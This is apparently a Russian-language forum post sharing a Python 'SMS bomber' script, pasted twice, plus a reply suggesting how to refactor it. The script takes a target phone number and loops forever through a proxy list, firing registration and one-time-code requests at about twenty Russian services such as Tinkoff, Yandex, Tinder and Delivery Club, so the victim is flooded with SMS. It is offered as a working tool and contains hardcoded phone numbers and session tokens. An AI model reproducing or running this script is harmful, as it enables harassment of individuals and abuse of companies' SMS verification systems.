на самом деле не знаю работает ли он... основан на бомбере из какой то темы на лолзе. добавлены ****** https, и треды. гавнокод еще тот import requests from requests.exceptions import ProxyError, ConnectionError import threading a = input("Введите номер - ") kolvo = input("Введите колво потоков - ") def spam(pair): while True: try: print(requests.post('https://app.karusel.ru/api/v1/phone/', proxies={'https': pair},data = {"phone":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'app.karusel.ru', 'origin':'https://karusel.ru','Referer':'https://karusel.ru/registration'})) print(requests.post('https://api.mtstv.ru/v1/users', proxies={'https': pair},data = {"msisdn":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.mtstv.ru', 'origin':'https://www.mtstv.ru','Referer':'https://www.mtstv.ru/?popup=auth&tab=reg'})) print(requests.post('https://www.maxidom.ru/ajax/doRegister.php?RND=0.6416262061536506', proxies={'https': pair},data = {"REGISTER_PHIS[LOGIN]":"asaofjkiawhwjk@mail.ru","REGISTER_PHIS[PHONE]":"a","REGISTER_PHIS[PASSWORD]":"asaofjkiawhwjk@mail.ru","REGISTER_PHIS[RULES]":"Y"},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'www.maxidom.ru', 'origin':'https://www.maxidom.ru/','Referer':'https://www.maxidom.ru/ajax/doRegister.php?RND=0.6416262061536506'})) print(requests.post('https://ostin.com/ru/ru/secured/myaccount/myclubcard/resultClubCard.jsp?type=sendConfirmCode&phoneNumber=%207%20(982)143-26-46', proxies={'https': pair},data = {"phoneNumer":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'ostin.com', 'origin':'https://ostin.com/','Referer':'https://ostin.com/'})) print(requests.post('https://youla.ru/web-api/auth/request_code', proxies={'https': pair},data = {"phone":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'youla.ru', 'origin':'https://youla.ru','Referer':'https://youla.ru/surgut'})) #print(requests.post('https://api.ennergiia.com/auth/api/development/lor', proxies={'https': pair}data = {"phone":a,"referrer":"ennergiia","via_sms":"true"},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.ennergiia.com', 'origin':'https://www.ennergiia.com','Referer':'https://www.ennergiia.com/auth'})) print(requests.post('https://beta.delivery-club.ru/api/user/otp', proxies={'https': pair},data = {"phone":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'beta.delivery-club.ru', 'origin':'https://beta.delivery-club.ru','Referer':'https://beta.delivery-club.ru/entities/food?authPopupOpened=1'})) print(requests.post('https://radugavkusaufa.ru/?action=auth&act=132', proxies={'https': pair},data = {"CSRF":"","ACTION":"REGISTER","MODE":"PHONE","PHONE":a,"PASSWORD":"791911534661128","PASSWORD2":"791911534661128",},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'radugavkusaufa.ru', 'origin':'https://radugavkusaufa.ru','Referer':'https://radugavkusaufa.ru/'})) print(requests.post('https://api.sunlight.net/v3/customers/authorization/', proxies={'https': pair},data = {"phone":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.sunlight.net', 'origin':'https://sunlight.net/','Referer':'https://sunlight.net/profile/login/?next=/profile/'})) print(requests.post('https://online.sbis.ru/reg/service/?x_version=19.412.b-40', proxies={'https': pair},data = {"phone":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'online.sbis.ru', 'origin':'https://online.sbis.ru','Referer':'https://online.sbis.ru/auth/?ret=%2F&tab=register®Type=personal'})) print(requests.post('https://api-user.privetmir.ru/api/send-code', proxies={'https': pair},data = {"back_url":"/register/step-2/","scope":"register-user","login":a,"checkExist":"Y","checkApproves":"Y","approve1":"on","approve2":"on"},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api-user.privetmir.ru', 'origin':'https://privetmir.ru/','Referer':'https://privetmir.ru/register/'})) print(requests.post('https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru', proxies={'https': pair},data = {"phone_number":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.gotinder.com', 'origin':'https://tinder.com/?lang=ru','Referer':'https://tinder.com/?lang=ru'})) print(requests.post('https://smart.space/api/users/request_confirmation_code/',data = {"action":"confirm_mobile","mobile":"a"},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.gotinder.com', 'origin':'https://tinder.com/?lang=ru','Referer':'https://tinder.com/?lang=ru'})) print(requests.post('https://api.tinkoff.ru/v1/sign_up?origin=web%2Cib5%2Cplatform&sessionid=RznyziZkeagDbs6SLIr13ZlfSjusxJbQ.m1-prod-api26&wuid=31ad89052c4944fd8cd55bcf419eefc1', proxies={'https': pair},data = {"phone":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.tinkoff.ru', 'origin':'https://www.tinkoff.ru','Referer':'https://www.tinkoff.ru/login/'})) print(requests.post('https://api.chef.yandex/api/v2/auth/sms', proxies={'https': pair},data = {"phone":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.chef.yandex', 'origin':'https://chef.yandex/','Referer':'https://chef.yandex/login'})) print(requests.post('https://register.sipnet.ru/cgi-bin/exchange.dll/RegisterHelper?oper=9&phone=79821432646', proxies={'https': pair},data = {"phone":a,"oper":"9"},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'register.sipnet.ru', 'origin':'https://www.sipnet.ru/','Referer':'https://www.sipnet.ru/tarify-ip-telefonii'})) print(requests.post('https://api.ivi.ru/mobileapi/user/register/phone/v6/', proxies={'https': pair},data = {"phone":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.ivi.ru', 'origin':'https://www.ivi.ru/','Referer':'https://www.ivi.ru/profile'})) print(requests.post('https://rutube.ru/api/accounts/sendpass/phone?phone=%2B79195346628', proxies={'https': pair},data = {"phone":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'rutube.ru', 'origin':'https://rutube.ru','Referer':'https://rutube.ru/'})) print(requests.post('https://koronapay.com/transfers/online/api/users/otps', proxies={'https': pair},data = {"phone":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'koronapay.com', 'origin':'https://koronapay.com','Referer':'https://koronapay.com/transfers/online/login'})) print(requests.post('https://client.taximaxim.com/site/send-code/?type=0', proxies={'https': pair},data = {"_csrf":"SuyaDpUnfWWvTkF8GytL1zAJqUUvLMc_SUXaEGhXsoQa2tJvwF8nC_YJEQpaHhKkVGCRIhljrggQJ4ljCW-G4Q==","LoginForm[org]":"maxim","LoginForm[country]":"ru","LoginForm[baseId]":"11","LoginForm[phone]":a,"LoginForm[code]":"","LoginForm[agree]":"0"},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'client.taximaxim.com', 'origin':'https://client.taximaxim.com','Referer':'https://client.taximaxim.com/login/'})) except ProxyError: print('proxy error') break except ConnectionError: print('connection error') break threads = [] with open('proxyfile.txt', 'r') as proxy_f: for p in proxy_f: if len(threads) < int(kolvo): proxy = p.strip() threads.append(threading.Thread(target=spam, args=(proxy,))) for thread in threads: thread.start() for thread in threads: thread.join() Code import requests from requests.exceptions import ProxyError, ConnectionError import threading a = input("Введите номер - ") kolvo = input("Введите колво потоков - ") def spam(pair): while True: try: print(requests.post('https://app.karusel.ru/api/v1/phone/', proxies={'https': pair},data = {"phone":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'app.karusel.ru', 'origin':'https://karusel.ru','Referer':'https://karusel.ru/registration'})) print(requests.post('https://api.mtstv.ru/v1/users', proxies={'https': pair},data = {"msisdn":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.mtstv.ru', 'origin':'https://www.mtstv.ru','Referer':'https://www.mtstv.ru/?popup=auth&tab=reg'})) print(requests.post('https://www.maxidom.ru/ajax/doRegister.php?RND=0.6416262061536506', proxies={'https': pair},data = {"REGISTER_PHIS[LOGIN]":"asaofjkiawhwjk@mail.ru","REGISTER_PHIS[PHONE]":"a","REGISTER_PHIS[PASSWORD]":"asaofjkiawhwjk@mail.ru","REGISTER_PHIS[RULES]":"Y"},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'www.maxidom.ru', 'origin':'https://www.maxidom.ru/','Referer':'https://www.maxidom.ru/ajax/doRegister.php?RND=0.6416262061536506'})) print(requests.post('https://ostin.com/ru/ru/secured/myaccount/myclubcard/resultClubCard.jsp?type=sendConfirmCode&phoneNumber=%207%20(982)143-26-46', proxies={'https': pair},data = {"phoneNumer":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'ostin.com', 'origin':'https://ostin.com/','Referer':'https://ostin.com/'})) print(requests.post('https://youla.ru/web-api/auth/request_code', proxies={'https': pair},data = {"phone":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'youla.ru', 'origin':'https://youla.ru','Referer':'https://youla.ru/surgut'})) #print(requests.post('https://api.ennergiia.com/auth/api/development/lor', proxies={'https': pair}data = {"phone":a,"referrer":"ennergiia","via_sms":"true"},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.ennergiia.com', 'origin':'https://www.ennergiia.com','Referer':'https://www.ennergiia.com/auth'})) print(requests.post('https://beta.delivery-club.ru/api/user/otp', proxies={'https': pair},data = {"phone":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'beta.delivery-club.ru', 'origin':'https://beta.delivery-club.ru','Referer':'https://beta.delivery-club.ru/entities/food?authPopupOpened=1'})) print(requests.post('https://radugavkusaufa.ru/?action=auth&act=132', proxies={'https': pair},data = {"CSRF":"","ACTION":"REGISTER","MODE":"PHONE","PHONE":a,"PASSWORD":"791911534661128","PASSWORD2":"791911534661128",},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'radugavkusaufa.ru', 'origin':'https://radugavkusaufa.ru','Referer':'https://radugavkusaufa.ru/'})) print(requests.post('https://api.sunlight.net/v3/customers/authorization/', proxies={'https': pair},data = {"phone":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.sunlight.net', 'origin':'https://sunlight.net/','Referer':'https://sunlight.net/profile/login/?next=/profile/'})) print(requests.post('https://online.sbis.ru/reg/service/?x_version=19.412.b-40', proxies={'https': pair},data = {"phone":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'online.sbis.ru', 'origin':'https://online.sbis.ru','Referer':'https://online.sbis.ru/auth/?ret=%2F&tab=register®Type=personal'})) print(requests.post('https://api-user.privetmir.ru/api/send-code', proxies={'https': pair},data = {"back_url":"/register/step-2/","scope":"register-user","login":a,"checkExist":"Y","checkApproves":"Y","approve1":"on","approve2":"on"},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api-user.privetmir.ru', 'origin':'https://privetmir.ru/','Referer':'https://privetmir.ru/register/'})) print(requests.post('https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru', proxies={'https': pair},data = {"phone_number":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.gotinder.com', 'origin':'https://tinder.com/?lang=ru','Referer':'https://tinder.com/?lang=ru'})) print(requests.post('https://smart.space/api/users/request_confirmation_code/',data = {"action":"confirm_mobile","mobile":"a"},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.gotinder.com', 'origin':'https://tinder.com/?lang=ru','Referer':'https://tinder.com/?lang=ru'})) print(requests.post('https://api.tinkoff.ru/v1/sign_up?origin=web%2Cib5%2Cplatform&sessionid=RznyziZkeagDbs6SLIr13ZlfSjusxJbQ.m1-prod-api26&wuid=31ad89052c4944fd8cd55bcf419eefc1', proxies={'https': pair},data = {"phone":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.tinkoff.ru', 'origin':'https://www.tinkoff.ru','Referer':'https://www.tinkoff.ru/login/'})) print(requests.post('https://api.chef.yandex/api/v2/auth/sms', proxies={'https': pair},data = {"phone":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.chef.yandex', 'origin':'https://chef.yandex/','Referer':'https://chef.yandex/login'})) print(requests.post('https://register.sipnet.ru/cgi-bin/exchange.dll/RegisterHelper?oper=9&phone=79821432646', proxies={'https': pair},data = {"phone":a,"oper":"9"},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'register.sipnet.ru', 'origin':'https://www.sipnet.ru/','Referer':'https://www.sipnet.ru/tarify-ip-telefonii'})) print(requests.post('https://api.ivi.ru/mobileapi/user/register/phone/v6/', proxies={'https': pair},data = {"phone":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.ivi.ru', 'origin':'https://www.ivi.ru/','Referer':'https://www.ivi.ru/profile'})) print(requests.post('https://rutube.ru/api/accounts/sendpass/phone?phone=%2B79195346628', proxies={'https': pair},data = {"phone":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'rutube.ru', 'origin':'https://rutube.ru','Referer':'https://rutube.ru/'})) print(requests.post('https://koronapay.com/transfers/online/api/users/otps', proxies={'https': pair},data = {"phone":a},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'koronapay.com', 'origin':'https://koronapay.com','Referer':'https://koronapay.com/transfers/online/login'})) print(requests.post('https://client.taximaxim.com/site/send-code/?type=0', proxies={'https': pair},data = {"_csrf":"SuyaDpUnfWWvTkF8GytL1zAJqUUvLMc_SUXaEGhXsoQa2tJvwF8nC_YJEQpaHhKkVGCRIhljrggQJ4ljCW-G4Q==","LoginForm[org]":"maxim","LoginForm[country]":"ru","LoginForm[baseId]":"11","LoginForm[phone]":a,"LoginForm[code]":"","LoginForm[agree]":"0"},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'client.taximaxim.com', 'origin':'https://client.taximaxim.com','Referer':'https://client.taximaxim.com/login/'})) except ProxyError: print('proxy error') break except ConnectionError: print('connection error') break threads = [] with open('proxyfile.txt', 'r') as proxy_f: for p in proxy_f: if len(threads) < int(kolvo): proxy = p.strip() threads.append(threading.Thread(target=spam, args=(proxy,))) for thread in threads: thread.start() for thread in threads: thread.join()
Можно реализовать словарь со всеми сервисами, а потом через for выбирать ****** и вызывать метод который будет принимать headers, data, proxies, url. А вызывать метод можно через threading.Thread(target="метод",args=[url,data,headers,proxys]).start() А далее сделать ожидание и цикл сам всё сделает.